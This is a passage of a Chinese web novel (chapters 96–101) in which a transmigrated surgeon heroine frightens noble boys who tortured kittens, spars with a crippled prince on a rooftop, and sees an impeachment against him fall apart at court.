《新婚夜下猛药,禁欲皇叔夜夜沦陷》 第九十六章 像是娘亲的怀抱 “当然,如果你们从未伤害过无辜生灵,也无须惊慌。问心无愧,则神鬼不侵!” 随后她又念了一段前世在网上看到的道教往生咒。 “太乙救苦天尊,寻声救苦,十方救苦,救苦救难,大慈大悲。灵猫之魂,闻我此咒,脱离苦海,往生善道……” “好了,现在猫妖要找也只会找真正害死它们的人索命,然后往生极乐,这长兴街上已经恢复如常,你们该干嘛干嘛去吧!” 说着,不管百姓的反应,带着重伤的黑猫和两只小猫的尸体,上了马车。 萧时晏连忙也跟了上去。 一上马车,小家伙就用湿漉漉的目光看着姜南溪。 小脸上有崇拜,有孺慕,还有小心翼翼地慌张。 刚刚祁瑞斌领走前喊得那句话他听到了。 祁家会去弹劾父王。 他是不是又闯祸了?给父王惹了麻烦? 他是不是又不乖了? 坏女人会不会更加不喜欢他了? 早知道,早知道刚刚看到祁瑞斌的时候,他掉头跑开就好了。 那样,就不会连累父王。 也不会被坏女人觉得他是不乖的孩子。 萧时晏想着想着,伤心又委屈,后悔又难过,眼眶一下子红了。 小嘴扁了扁,泪水几乎模糊了视线。 “怎么哭了?”姜南溪放下了重伤的黑猫,先胡乱用系统中的消毒液擦了擦手,随即连忙将小家伙拉到怀里,“是不是刚刚被那群小兔崽子打伤了?还是被黑猫挠到了?” 被姜南溪抱在怀里,又被这样轻柔的询问。 萧时晏忍得很辛苦的眼泪,终于没憋住,滚落眼眶。 “很疼吗?告诉我,身上哪里疼?”姜南溪也有些慌了。 萧时晏摇摇头,呜咽道:“我……我以为你……你又讨厌我了!” 姜南溪一愣,随即有些哭笑不得。 她拿出绢帕,轻轻擦去他小脸上的泪水,也将他脸上沾着的脏污擦去:“莫名其妙的,你又没干什么坏事,我为什么要讨厌你?小哭包,就为了这点事,就哭鼻子啊?” 萧时晏脸颊悄悄红了。 如果是别人说他是小哭包,他一定已经冷下那张小俊脸,不给人好脸色。 可是,可是坏女人不一样。 他喜欢她把他抱在怀里,温柔地给他擦脸,叫他小哭包。 但很快,萧时晏又扁起了小嘴,沮丧地哽咽道:“我……我不该出来的,如果我乖乖等在马车里,就不会遇到祁瑞斌,那样就不会给父王惹事了。” “明天他们一定会弹劾父王的。我,我给父王惹麻烦了。都是因为炎炎不乖,才会牵连父王……” “停!不许哭!” 眼看着小家伙完全陷入到自责的情绪中,晶莹的泪珠啪嗒嗒往下掉。 姜南溪连忙开口阻止,随后一把将他揽进怀里:“萧时晏,别为你没做错的事情哭。” 萧时晏怔住了:“可是父王……” 姜南溪很想吐槽,你父王脑子有泡,怎么能让一个四岁的小娃娃领军棍,还带承受朝堂压力的? 这已经不是拔苗助长,而是在摧毁小娃娃的稚嫩的心灵了。 但想到萧墨宸毕竟是萧时晏的父亲。 人家父子有自己的教育方式。 到了嘴边的吐槽,又被她咽了回去。 她伸手揉了揉萧时晏的小脑袋,柔声道:“放心,你父王那里,我会去跟他说,他不会怪你的。” “至于担心你父王被弹劾,那就更没必要了。炎炎,你要相信,你父王要比你想象中的更强大。” 萧时晏似懂非懂。 可是看着姜南溪温柔的目光,他下意识地点点头。 然后身体微微移动了一下,更紧地靠在柔软的怀中。 香香的,像是娘亲的怀抱。 …… 马车没有马上回定远侯府的碧清院,而是按照姜南溪的指示,去了城郊一个偏僻的坟场。 四人合力把两只小猫葬在了这里。 姜南溪捧起土,轻轻洒在小猫的尸体上。 在心中默念:借用你们尸体的脊椎神经反射和自制的磷火装神弄鬼,恐吓祁瑞斌等人,让他们品尝到自食恶果,冤鬼缠身的滋味。虽是好意,但到底扰了你们两个小家伙死后的安宁,还请莫要见怪。 一阵清风拂来,吹起姜南溪的发丝,就好像小猫儿轻柔的回应。 受伤的黑猫全程都看着姜南溪等人的动作,没有任何反应。 只在最后离开的时候,朝着那小小隆起的坟堆看了一眼,发出喵呜声响。 姜南溪将黑猫带到碧清院,给它处理伤口。 虽然她不是兽医。 但作为外科医生,猫狗身上普通的外伤她还是能处理的。 姜南溪给黑猫正了骨,在它细瘦的腿上榜上夹板。 又给伤口上了止血、消炎、杀菌的药。 黑猫全程都非常的安静,连叫都没叫几声,仿佛完全感受不到疼痛一般。 可一双幽绿色的眼睛却紧紧盯着姜南溪。 就好像是要将她的脸深深刻进脑中一般。 姜南溪总觉得这黑猫有些古怪,它好像听得懂人话。 这样注视着她的眼神,也好像在说。 这份恩情,本猫大仙记住了,总有一日会偿还。 然而,这念头刚闪过没五分钟,姜南溪就被打脸了。 她原本正在手术中心翻找,有什么能给黑猫用的药。 结果一闪神,原本乖乖趴在临时猫窝上的黑猫就一个箭步从窗口窜了出去。 “等等,小黑,你去哪?你腿上才刚刚上了夹板!” 姜南溪想也没想,连忙钻了出去。 这一追,她都惊呆了。 黑猫窜草丛,爬树枝,最后甚至直接从树梢窜上了房顶。 姜南溪一个健全人,吭哧吭哧追了它半天。 最后眼睁睁看着这只本该奄奄一息的重伤黑猫,站在房檐的翼角边缘。 回过头,朝她深深地看了一眼,发出一声低低的喵呜声。 今晚晴空万里,明月高悬。 银色月辉落在黑猫身上,仿佛为它镀上了一层圣洁的光。 随后,姜南溪就目瞪口呆看着黑猫从高高的屋顶上飞跃了下去,消失在夜色中。 姜南溪:“……” 她人麻了,皮肤上瞬间泛起了一层层鸡皮疙瘩。 第九十七章 你先把手拿开! 难不成她拿猫妖装神弄鬼。 结果还真撞上猫妖了? 不过很快,姜南溪就摇了摇头,忍不住觉得好笑。 她刚刚才给黑猫做过全面的身体检查。 黑猫和普通的猫骨骼结构没有任何不同。 或许只是野猫桀骜难驯,哪怕最凄惨落魄的时候,也不愿生活在人类气息浓重的地方,不愿意被驯养罢了。 姜南溪笑了笑,索性也不急着回去。 而是躺在屋檐上,看着以前从所未见的朗朗夜空,与皎皎清灰的明月。 徐徐晚风拂过她的面庞,带来前世21世纪已经绝迹的清新空气。 “咳咳……” 就在这时,下方传来熟悉的咳嗽声。 姜南溪身体没动,视线往下瞟。 就见原本黑漆漆的下方庭院,此时亮起了一盏灯笼。 提灯笼的人,正是影十三。 而他前方坐在轮椅上的男人,不是萧墨宸又是谁? 萧墨宸挥了挥手。 影十三将灯笼挂在后方柱子上,身影悄无声息地消失。 萧墨宸皱眉道:“你在上面做什么?” 姜南溪冷哼一声:“关你什么事?” 萧墨宸被她气笑了:“你半夜三更潜入本王府邸,却问关本王什么事?” 姜南溪今天对这狗男人憋了一肚子火。 此刻明知道自己理亏,追黑猫无意闯到了御王府。 却也没有半点想服软的意思。 她朝下方的男人咧了咧嘴,“本县主就要在这里赏云赏月赏美男,你不爽啊?不爽有本事亲自上来怼我啊!” 反正狗王爷是残废,又不能真的飞上来把她踹走。 她就怼了! 谁让他狗咬吕洞宾,不识好人心。 自己好心救他,他居然为了白月光恩将仇报! 呵呵,狗渣男,气死他最好! 下方,萧墨宸微眯着眼,看着她。 周身的气息几乎要与夜色融为一体。 那双潋滟勾魂的桃花眸,在这样的夜晚,也显得格外危险幽沉。 姜南溪被看的莫名发慌,随后又自我安慰。 没事没事! 反正他现在上不来。 要是萧墨宸真的恼羞成怒,非要让影十三追杀她。 大不了她飞速从屋顶滚下去跑路就是了。 反正影十三看在自己能救她主子的份上,也不会对她怎么样。 然而,姜南溪这个念头刚闪过,瞳孔就猛地涨大。 疾风如劲草拂过。 巨大的阴影遮住银色的月光,将她牢牢笼罩住。 男人就那样茕茕孑立在她眼前,如雪松、如傲竹,如人世间最高不可攀的神。 清冷的眸子却少见的染上了挑衅的意味,居高临下看着她。 姜南溪的下巴差点没掉在地上。 萧墨宸他……他居然飞上来了?! 我艹! 他不是手筋脚筋,全身筋脉都被挑断了吗? 他不是中毒快死了吗? 难道这男人之前表现出来的病入膏肓都是骗人的? 难道她摸到的都是假脉? 萧墨宸看着她呆傻的模样,眼里闪过一抹笑意。 “本王如你意上来了,姜南溪,现在你待如何?” 姜南溪慢慢合上了下巴。 上上下下打量萧墨宸,随后瞬间明悟过来,他是怎么办到的。 用内力暂时打通断裂的经脉,以支撑正常的行走、战斗。 但那样一来,他体内的巫髓毒就会加速扩散。 一不小心可是会危及生命的。 就如之前在战场上,他能撑着这残破的身体打完仗,靠的就是内力强行续接经脉。 而代价就是,从此以后巫髓毒入肺腑,侵染经脉,再也无法行走,且只剩下三个月寿命。 “兄弟,你是真勇啊!” 姜南溪嘴角抽了抽:“为了装逼,为了跟我赌气,宁可让毒素加速扩散,连小命都不要了?” 萧墨宸面色微微一僵。 他也才意识到,自己刚刚的行为有多幼稚。 但面上却丝毫没表现出来,嗤笑一声道:“动用这点内力,还不至于要了本王的命。” 姜南溪:“所以王爷你上来干什么?就为了亲自上阵来怼我,还是要把我从你家屋顶上踹下去?行,姐装逼装不过你,姐撤还不行吗?” 说完,她郁闷地起身,拍拍屁股就要走。 悲催的事实就是,她以为萧墨宸是残废。 而事实上,人家就算是残废,要捏死她,也跟捏死一只蚂蚁那么简单。 与其被狗王爷从屋顶踹下去,她还不如识相地自己走呢! 然而,姜南溪刚迈出脚步,就被拉住。 “等等……” 耳边传来男人低沉冷淡的声音。 姜南溪下意识回头。 可脚下却因为收不住离开的势头,一个打滑。 御王府西厢的屋顶还算平整,但到底扑了瓦片。 这一打滑,姜南溪整个身体就收势不住地往下滑去。 她惊叫一声,下意识反手抓住萧墨宸的手。 萧墨宸全身筋脉尽断,全靠内力才勉力支撑站立。 这一拉之下,两人身体再也站立不稳,齐齐向下滑去。 锵——! 千钧一发之际,萧墨宸取出腰间匕首插入瓦片之间。 另一只手牢牢搂住姜南溪的腰。 刀剑划过瓦片青石,溅起一阵火花。 但终于堪堪在滑落边缘前停住。 姜南溪惊魂未定,被吓出了一身冷汗。 等回过神来,她才发现自己整个人贴在萧墨宸怀中。 男人独有的冷香,带着侵略性钻入鼻尖。 隔着薄薄的布料,她都能感受到男人身上的热度,与胸腹肌理的纹路。 她的脑海不自觉浮现出那一夜的触感与疯狂。 热意倏然涌上面颊。 姜南溪忍不住挣扎了一下。 “别动!”男人的声音有些嘶哑。 姜南溪舔了舔嘴唇,干巴巴道:“萧墨宸,你……你还不松手,再不松手我叫非礼了?” 萧墨宸的脸瞬间黑了。 他几乎咬牙切齿道:“你先把手拿开!” 姜南溪:“……” 姜南溪默默低下头。 这才发现,自己的手竟然不知怎么插进了萧墨宸的衣襟之中,紧隔着单薄的里衣,贴在萧墨宸腹肌之上。 该死的! 难怪她怎么觉得这肌肤那么热烫,腹肌纹理触感那么清晰。 姜南溪下意识地动了动手指,轻轻摸索了一下。 唔,手感真的很不错。 完全不像是残废了一年的人。 每一块肌肉都仿佛蕴藏着蓬勃的力量。 难怪明明筋脉尽断,那天晚上还能把她折腾的…… “姜!南!溪!” 第九十八章 王爷,你眼光不太行啊 在萧墨宸威胁的怒吼声中,姜南溪猛地回过神来。 她迅速缩回手,干笑道:“王爷,我说我的手刚刚发羊癫疯了,不受我控制,你信吗?” 萧墨宸俊脸一片冰冷,仿佛随时要将她千刀万剐。 姜南溪迅速挣扎着往后挪出了萧墨宸的怀抱,却没发现,某位王爷那在夜色掩映下比她还红的脸和耳根。 “咳咳,王爷,摔跤可不关我的事,我都已经准备麻溜地从你家屋顶滚下去了,是你拉住我,我才站立不稳摔下去的。至于刚刚,咳咳……那纯粹是意外,意外!” 萧墨宸微微撑了一下身体,维持住青松傲竹般的坐姿,才冷冷看了姜南溪一眼。 “你不是有话跟本王说吗?” “我?” 姜南溪指着自己:“我有话跟你说?我怎么不知道?” 萧墨宸冷哼一声:“所以你是骗炎炎的?” 姜南溪想了一下,顿时恍然大悟:“哦,原来就为了这点小事啊!” “小事?” 萧墨宸双眸眯了眯,声音幽而沉:“你可知道,你今晚打得人是谁?” 姜南溪冷笑一声:“我管他是谁!管教小畜生,人人有责好嘛!还是你觉得,这种虐杀动物,还辱骂你儿子的小畜生,不该教训?” 突然,她像是想到了什么。 俏脸瞬间冷了下来:“你该不会那么变态,就为了那小畜生背后的权势压力,就要惩罚自己的儿子吧?” 萧墨宸无奈地睨了她一眼:这女人怎么这么喜欢自说自话? 他正要说话,却听姜南溪下一句道:“萧墨宸,你都是要死的人了,用不用那么怂啊?连豁出去护自己的儿子都不敢!” 萧墨宸的脸霎时黑如锅底。 他阴测测地看着姜南溪,直看的姜南溪头皮发麻。 她刚刚直呼名字,骂人怂的勇气瞬间飞到了爪哇国。 身体悄悄往后退,怂兮兮地笑道:“咳咳,王爷,我不是咒你死啊!但是俗话说,人之将死,必要发疯,顺我者昌,逆我者亡。你想想,如今这西楚国整个朝堂,还有谁比你更适合发疯的?” 萧墨宸闻言露出若有所思的神情。 姜南溪见自己把人说动了,立马再接再厉,拱火不嫌事大。 “王爷我再申明一遍,我不是咒你啊,但在外人看来你都只有三个月性命了,还怕啥?光脚的不怕穿鞋的,那个什么祁家敢对你发飙,你就比他们更癫更疯啊!他们祁家牵扯的利益那么多,你觉得他们敢为了一个只是被吓到的小儿子,豁出命来跟你干仗吗?” “他们不敢啊!而且王爷您只有三个月性命,就算再疯再癫,也没人觉得你会造反,或者有什么威胁。所以王爷你看,你一开始就立于不败之地,何必畏首畏尾,让自己儿子受委屈呢?” 砰! 一个爆粒敲在姜南溪脑袋上。 让少女原本眉飞色舞的俏脸瞬间皱成了一团。 “嗷,好痛,你干嘛!” 萧墨宸轻咳一声:“不许胡说八道,造反之言,岂是能随随便便说出口的?” 姜南溪没好气道:“好好,不说就不说,知道你是兄控了。” 萧墨宸:“?” 他的视线不着痕迹地在少女被微微敲得红肿的额头上扫过。 才淡淡道:“你放心,本王没有那么是非不分,不会为了别人的过错,惩罚炎炎。” 姜南溪:“这还差不多!” 一阵夜风吹来,姜南溪微微打了个寒颤,打算回去睡觉了。 萧墨宸突然道:“最近小心点,祁瑞霖这个人心胸狭隘、心狠手辣,你今日如此得罪他,他必然会出手报复!” 姜南溪想起今天祁瑞霖的眼神,心底微微沉了沉。 嘴上却忍不住戏谑道:“王爷,看来你以前眼光不太行啊!居然被这种奸险小人背叛算计了,还被抢了白月光。” 萧墨宸脸色瞬间黑了。 这个口无遮拦,该死的女人! “哦,王爷您还不知道白月光是什么意思吧?就是你的初恋,第一个喜欢的女人。啧啧,我真是想不明白,凭王爷您的容貌、身材、权势,怎么会让祁瑞霖这种矮挫小人抢走白月光呢?简直白瞎了这么一副盛世美颜和极品身材嘛!” 姜南溪说这话的时候,已经迅速起身。 一说完,她转身就脚底抹油开溜。 没错,她就是记仇! 能出一口气是一口! 可惜她跑得快,却没萧墨宸的动作快。 原本坐在地上的萧墨宸身影骤然消失在原地。 还没等姜南溪反应过来,她的腰已经被铁钳似得手死死箍住。 紧接着,萧墨宸内力消散。 两人在屋顶上再也站立不稳,齐齐向下滚去。 从高高的房梁上直直摔落。 “啊啊啊……” 姜南溪在心里把萧墨宸骂了个狗血淋头。 狗王爷,至于嘛!至于嘛! 自己不就是占个口头便宜,出口恶气。 至于要把她摔死吗? 然而,下一刻,半空中有一只手护住了她的脑袋。 将她的身体紧紧拥入紧实的怀抱中。 清冽的冷香强势钻入鼻尖,缓缓在她体内滋长蔓延。 砰——! 两人重重跌落在地上。 “王爷,县主!”耳边传来影十三惊慌的声音。 随即是萧墨宸冷淡的回应:“本王无事!” 一边说,他一边缓缓松开了抱住姜南溪的手。 深邃的眸在她身上逡巡了一圈,似乎在确定她有没有受伤。 姜南溪被看的莫名脸颊发烫。 连忙撇开视线,对影十三道:“放心,我们没事,幸好这下面是草坪。” 幸好,摔在地上的时候,萧墨宸用自己的身体给她当了垫子。 影十三松了口气:“县主,好端端的,你们怎地从上面落下来了?” 姜南溪一听这话就忍不住生气。 她瞪了萧墨宸一眼:“还不是某人小心眼!不就是不小心说到了你的白月光吗,就恼羞成怒,想要杀人灭口了?” 萧墨宸咬牙切齿道:“谁说那是本王的白月光?” “好好好,你说不是就不是,反正大家懂的都懂!” 姜南溪呵呵笑道:“放心吧,我这个未来王妃特别大方得体,不会因为你心里有白月光,就拈酸吃醋的。” 第九十九章 那只猫又来了 姜南溪:“不过王爷,如今你的白月光已经快要嫁人了,你要是还念念不忘,那岂不是要当男小三?” “堂堂王爷当小三,这……不太好吧?” 萧墨宸:“姜!南!溪!” 原本松开的手猛一用力,把姜南溪狠狠拽了回来。 萧墨宸真恨不得撕烂这女人的嘴。 姜南溪觉得自己的腰快要被掐断了,她闷哼一声,暗道不好。 自己今晚真的太放浪形骸了。 就好像是到了这古代世界给自己上的那一道枷锁忽然被解开了。 什么该说的,不该说的,都往外蹦。 要是真把萧墨宸给惹怒了,这煞星一刀咔擦了自己,还不是分分钟的事情。 但姜南溪的心里却有一个声音在告诉她。 她敢这般放肆,是因为知道,萧墨宸不会无缘无故杀她。 姜南溪咽了下唾沫,正要说话。 “王爷,王爷,您没事吧?妾身刚刚好像看到您从屋顶上……” 姜南溪迅速退开一步,转身看去。 就见一个熟悉的娉婷身影,微微喘着气,僵立在夜色中。 阮芷安的视线从萧墨宸扫到姜南溪,又重新落回萧墨宸身上。 垂在身侧的手死死攥成拳头。 苍白的脸上勉强扯出一个笑容:“妾身刚刚隐约看到王爷您从屋顶上落下来,担心您出事,所以才过来看看。王爷您没事真是太好了。” “县主,这么晚了,您怎么也在王府?” 姜南溪扯出一个笑容:“哦,我啊?我在屋顶上赏云赏月赏美男呢!” “现在云月美男都赏够了,本县主也该回去了!” “影十三,能麻烦你送我回去吗?” 影十三从看到刚刚那一幕的震惊中回过神来,露出一个笑容:“荣幸之至!” 被影十三提上半空的时候,姜南溪往后看了一眼。 只见静谧的庭院中,俊男美女相隔咫尺。 哪怕一个坐着一个站着,氛围也说不出的暧昧缠绵。 姜南溪忍不住在心里啧了一声:狗男人,桃花可真多啊! 难怪之前阮芷安一直针对她。 原来根源在这里。 === 夜半三更,祁府。 祁瑞斌居住的卧房中,一片寂静。 突然,一阵低低的呜咽声,伴随着手脚的蹬踹声,在静谧的夜色中传来。 “不……不要过来,本……本少爷不怕你……” “死猫,滚……滚开!” “啊啊啊啊,不要过来,爹爹、娘亲,祖母,救命……救命啊!” 这一喊,立刻把守在旁边的祁佑宗和母亲陈氏惊醒过来。 “斌儿,斌儿,你怎么?你别吓母亲啊!” 祁瑞斌脸色惨白,大口喘着气。 视线扫过守在床边的父母,缓缓长舒了一口气。 梦,原来都只是梦啊! “斌儿,你是不是做噩梦了?别怕,不就是弄死了几只野猫吗?那种畜生,半点灵智也无,投得也是最卑贱的畜生道,如何能近的了你的身?你根本就不需要怕!” “你娘说的不错,你是我祁家嫡子,身份何等尊贵,就算当真有什么猫妖冤魂,也定然近不了你的身。更何况……” 祁佑宗冷笑一声:“更何况,这本就是御王府的人招摇撞骗,故意用戏法恐吓于你,你平日里也算胆大,混世小魔王一个,怎地被如此简陋的把戏,就给吓成这样。” 祁瑞斌闻言也逐渐冷静下来,脸上露出羞恼的神色。 对,世界上哪来的什么猫妖冤魂? 定然是萧时晏联合那个可恶的女人,故意恐吓戏耍他的? 而最可恨的事,他竟然还真的被那小野种给吓到了。 祁瑞斌任由母亲陈氏擦掉脸上的汗水,牙齿却还咬的咯咯作响:“爹娘,你们放心,儿子不会再被这种把戏吓到了。” “但是爹,明日早朝,你绝不能放过御王,一定要联合郭家,还有那些御使大夫,狠狠地弹劾御王!最好让萧时晏那个小野种,再也当不成世子!” 陈氏:“斌儿你放心,你爹定然会给你讨回公道的。一个外室生的野种,竟也敢欺到我祁家嫡子头上!哼,御王还当自己是以前那个率领三十万镇北军,战无不胜的大将军吗?” 祁佑宗站在一旁没有说话。 但很显然,对御王府的行为也是极其不满的。 实在是祁瑞斌下午被家丁抱回来的时候太惨了。 浑身滂臭,沾满了屎尿、垃圾、腐烂的内脏。 祁瑞斌更是吓得不停抽搐,连连呕吐。 后来还是请了宫里的太医,开了安神药,才勉强恢复正常。 连自己的母亲祁老夫人都被吓病了,一晚上都在哭,咒骂御王府不做人。 祁佑宗向来疼爱这个嫡子,他实在咽不下这口气。 祁瑞斌闻言稚嫩的脸色这才露出满意的笑容,在陈氏的拍抚下,重新躺回了床榻中。 “夫人,我们也回去休息吧!” 两人见祁瑞斌果真恢复如常了,这才打算回房歇息。 床榻上,祁瑞斌一时却有些睡不着。 想着白日发生的事情,越想越气,牙齿咬的咯咯作响。 萧时晏那个小野种! 今日的这场羞辱,改日他定然让他十倍百倍偿还。 对了,还有那个女人。 贱人!贱人!贱人! 竟然敢用死猫来吓唬自己! 她更该死! 对了,他怎么觉得那贱人有些眼熟? 想到姜南溪,祁瑞斌的耳中就不自觉回响起那女人的话。 “晚上千万别睁眼哦,因为睁开眼,你们就会看到……我,就挂在你们床头!” 哈,笑话! 死了的猫,怎么可能挂在床头? 那贱人,别被自己抓到,否则自己定要将她扒皮抽筋,让她死的很难看。 祁瑞斌刚咬牙切齿的想着。 突然—— “喵呜!” 猫,猫叫? 祁府里没有养猫,他怎么会听到猫叫声? 不,错觉,一定是他的错觉! “喵呜!” “喵呜呜!” “喵呜呜呜!” 越来越多的猫叫声,从四面八方,钻入祁瑞斌的耳中。 一声比一声尖锐。 一声比一声凄厉。 祁瑞斌的双眼一点点赤红迷离。 鼻尖仿佛又闻到了早上那血腥、滂臭,却又萦绕着一股古怪异香的味道。 第一百章 萧墨宸被弹劾了 祁瑞斌有种错觉。 他的这个房间里好像充斥着无数的黑猫。 它们的叫声离他越来越近,一点点将它包围,即将,即将要把他彻底撕碎。 黑猫,来报仇了?! 祁瑞斌的身体开始颤抖起来。 脸上的血色一点点褪的干干净净。 他哆嗦着坐起身,伸出颤抖的手想要去拉开床幔。 口中呼哧喘着气,想要叫:“爹……娘……” 回来!快回来! 为什么他会听到猫叫声? 为什么家里会有那么多猫叫声? 床幔猛地拉开。 下一刻,祁瑞斌看到一只血出淋漓的黑猫从床粱上方倒吊下来。 一双空洞无机质的血红眼睛正直勾勾的看着他。 扭曲的四肢,如白日那样,僵硬地弹动着。 而白日里紧咬的猫嘴,此时却张开了。 露出被他们割掉的舌头和本该被拔掉的,满嘴尖锐、沾满了血的獠牙。 “喵呜~” 猫儿的叫声软软的,是那种稚嫩的刚出生的奶猫的叫声。 可吊在他床粱上方的黑猫却笑了。 睁着空洞洞的血红大眼睛,张着满是獠牙的嘴,朝他露出诡异的笑。 “不……不……不要过来……” 祁瑞斌拼命往后退,口中发出断续破碎的哭声。 “爹,娘,救命!” 啪嗒! 有什么落在了他的肩膀上。 一条毛茸茸、又血粼粼的尾巴。 和一只断骨支离的猫腿。 祁瑞斌全身的血液被瞬间冻结。 他僵硬地感觉自己的脖子仿佛会发出咔咔的响声。 慢慢地、慢慢地扭过头去。 下一刻,它看到了一张血淋淋的猫脸。 那沾满了粘稠液体的黑毛仿佛就贴在他的鼻尖。 那断了半截的舌头伸出来,缓缓地钻进他的嘴巴,鼻子…… 咯吱!咯吱! “喵呜~~” “啊啊啊啊啊啊啊啊啊啊——!” 凄厉的尖叫在祁府响起,彻底打破了这一夜的安宁。 …… 卯时未到,金銮殿上。 永熙帝萧文昭打着哈欠,刚刚走上龙椅。 就见几个平日里稳重的大臣连三呼万岁都不喊了,突然全都一个个噗通噗通跪倒在青石地面上。 “皇上,御王府欺人太甚,您一定要给臣做主啊!” “皇上,臣的小儿子昨日受到惊吓,半夜高烧不退,现在还在昏迷。” “皇上,臣要弹劾御王,纵容其子行凶……” “皇上,今日若不严惩御王世子,实难平民愤啊!” === 姜南溪一直睡到了辰时才起床。 她想起今日跟小团子夭夭有约,连忙洗漱完要去慕华园。 然而,她刚要出门,就见一个脑袋从窗口倒挂下来。 姜南溪被吓了一跳。 等看清楚来人,顿时没好气道:“影十三,你干嘛?不知道人吓人吓死人吗?” 影十三一个翻身跳入屋中。 她那张平日里英姿飒爽,还有些高冷不苟言笑的脸,此刻有些诡异的扭曲。 像是在拼命憋笑,却马上就要憋不住了。 姜南溪忍不住在她眼前挥了挥手:“喂,姐妹,你还好吗?你这是什么表情?到底是要哭还是要笑?大清早的你翻窗跑来我房间吓我,就是为了给我做颜艺表演的?” 影十三抹了把脸,恢复表情:“主子让属下来告诉县主一声,小世子那边您不用担心了,至少短时间内,祁家没空找小世子的麻烦了。但祁瑞霖此人,阴险狠毒,县主您还是要小心他报复。” 姜南溪一听立刻来了兴致:“怎么突然就不用担心了?难道今天早朝发生什么了?还是萧墨宸做了什么?” “那几个熊孩子的家长,今天没在早朝上弹劾萧墨宸吗?” 影十三:“怎么可能没弹劾?那群老匹夫简直恨不得把御王府抄了,让小主子直接被剥夺世子之位。” 影十三作为墨影卫,原本应该沉默寡言的。 可也不知道是天性如此,还是面对姜南溪,总给她一种想要释放的轻松感。 在姜南溪的追问下,她没忍住,眉飞色舞的就把今天早上金銮殿上的闹剧,惟妙惟肖地重演了出来。 原来,昨夜做噩梦、受惊吓的不只是祁瑞斌。 而是昨天虐杀小猫的所有纨绔少年。 几乎每个少年都说,昨晚听到了无数的猫叫声。 有人看到了床头吊着死猫。 有人觉得猫钻到了自己的床底。 也有人哭着嚷着说自己的被子里钻入了黑猫。 是猫妖来报仇索命了。 然后,这几个少年全都被吓病了。 高烧的高烧、说胡话的说胡话,哭嚎的哭嚎。 总之这几家官员家里全都被闹了个鸡飞狗跳,不得安生。 所以一大早,他们就当着永熙帝的面,哭的一把鼻涕一把眼泪,控诉御王府谋害他们家中幼子。 然后联合御史,弹劾萧墨宸。 姜南溪当然知道那些熊孩子为什么会晚上做噩梦。 那是因为昨天她用小猫尸体恐吓祁瑞斌几人的时候,就给他们下了一种用南云菌子特制的气体,能让他们感官迷乱,甚至产生幻觉。 当然这香的威力远没有直接服用有毒菌子大。 但架不住祁瑞斌等人早上刚自己虐杀了小猫,还看到了她装神弄鬼。 姜南溪又将“猫妖晚上会来索命”的思想根植入他们脑海中。 如此一来,自然会日有所思夜有所梦了。 只是,竟然每个熊孩子,甚至熊家长都信誓旦旦说昨晚听到了无数猫叫声,让姜南溪有些疑惑。 她的迷幻蘑菇香,应该没那么大威力吧? 但这些事,姜南溪没有告诉影十三。 她深藏功与名,问道:“那后来呢?” 影十三回忆起金銮殿上发生的一切。 没忍住,扑哧一声笑了。 …… 时间回到半个多时辰前。 金銮殿上。 祁佑宗眼圈通红,义正词严道:“皇上,御王世子萧时晏的身份本就名不正言不顺,也不符合我西楚国立嫡立长的规矩。这一年御王受伤,疏于管教,这才养成了他这般无法无天的性格,竟做出如此大逆不道之事,若不严惩,以后还不知道会惹下多大的祸事!” “臣等体谅御王如今不愿上朝,与我等对峙,可昨日的罪魁祸首,必须受到严惩。” 第一百零一章 上赶着打自己的脸 “对,必须严惩御王世子!” “我儿子的罪决不能白受了!” “严惩御王世子!” 其它几个“苦主”连声附和,义愤填膺。 御史们引经据典,慷慨激昂。 “听说,你们想与本王对峙?” 群情激昂之时,就听金銮殿外传来一个低沉磁性,却又无比冷淡的声音。 歘——! 霎时间,原本喧闹的金銮殿上,陷入了一片死一般的寂静。 众朝臣,尤其是祁佑宗等人愣了好一会儿,才僵硬着身体,缓缓转过头去。 只见金銮殿外,一身甲胄的宋武,正单手抓住轮椅后背,轻轻一提,就将轮椅提过了门槛。 随后气定神闲地推着轮椅,缓缓往前走。 轮椅上,坐着个丰神如玉,容颜绝世的男子。 男子着一身亲王特有的华贵冕服。 明明是做在轮椅上的残废,周身却散发出一阵让人心胆俱寒的可怕威压。 有那么一瞬间,他们仿佛又看到了一年前那个权倾朝野,一人之下、万人之上的战神王爷。 “御王,御王怎么会来上朝?” “不是说他残废后就自暴自弃,不肯再见人了吗?” “御王刚刚是不是……听到我们的弹劾了?” “怕什么?我等又没说错,更何况,如今的御王,早已不是当初那个御王了!” 砰! 宋武推着萧墨宸走到大殿中央,就立刻大马金刀跪下来,砰砰砰磕了几个响头。 “末将参见皇上!” “皇上,我家王爷腿脚不变,无法给您行礼,末将代王爷给您磕头了!” 萧文昭脸上立刻露出和煦的笑容:“快起来快起来,墨宸,难得你如今还肯上朝来,身体可是大好了?” 萧墨宸朝皇上微微一颔首。 漠然的视线随即扫过祁佑宗等人,淡淡道:“臣弟谢皇兄关心,世人皆知,臣弟身中巫髓之毒,绝活不过三月。身体好与不好,又有什么区别呢?” “只是,这满朝的大臣,都喊着要与我萧墨宸对峙。臣弟便是只剩一口气了,不也得过来看看吗?” 祁佑宗深吸了一口气,提高音量道:“御王,明明是你儿子无法无天在先,害我们家中无辜幼子受惊生病在后。我等要求皇上严惩御王世子,又有什么错?” 萧墨宸笑了一声:“原来孩子间一场闹剧,就要受到严惩。那宋武,给诸位大人念一念吧?” “咳咳……” 宋武从怀中掏出一本册子,清了清嗓,声如洪钟地开口:“老子只念一遍,你们都给老子听清楚了啊!” “三个月前,祁尚书你家中那位无辜幼子祁瑞斌,在春花晏上,将侍郎千金推入湖中,害的那位侍郎千金,差点羞愤自杀。请问,这算闹剧还是无法无天,需要严惩吗?” “范大人,半年前,你儿子在学堂因为嫉妒同班学子,纠集一伙跟班,把那大好青年才俊的手打骨折,致使他终身无法参加科考。请问,这算是闹剧,还是无法无天?范大人觉得,您的儿子需要和我们小世子一样,受到严惩吗?” “接下来轮到你了,郭寺丞,哎哎,说你呢,别躲呢!让我看看你儿子做了什么,哎哟喂,贵公子可真是厉害了……” 宋武一番唱作俱佳地念下来,原本还义愤填膺的几人瞬间汗流浃背。 “不,不要再念了!我……我们不追究御王世子了!” 有人忍不住,臊红着一张脸,低吼出声。 虽然这种恃强凌弱的事情,哪家官员豪强家的纨绔都没少干。 可那都是约定俗成的规矩,是上不得台面的。 如今宋武用他那声如洪钟地大嗓门在金銮殿上当众嚷嚷出来。 简直是把他们脸面踩在地上摩擦啊! 宋武甩了甩本子,挖挖耳朵:“几位大人,你们说什么?大声点!” “而且,别对着末将说啊,对着圣上说,告诉圣上,你们还要严惩我们小世子吗?” 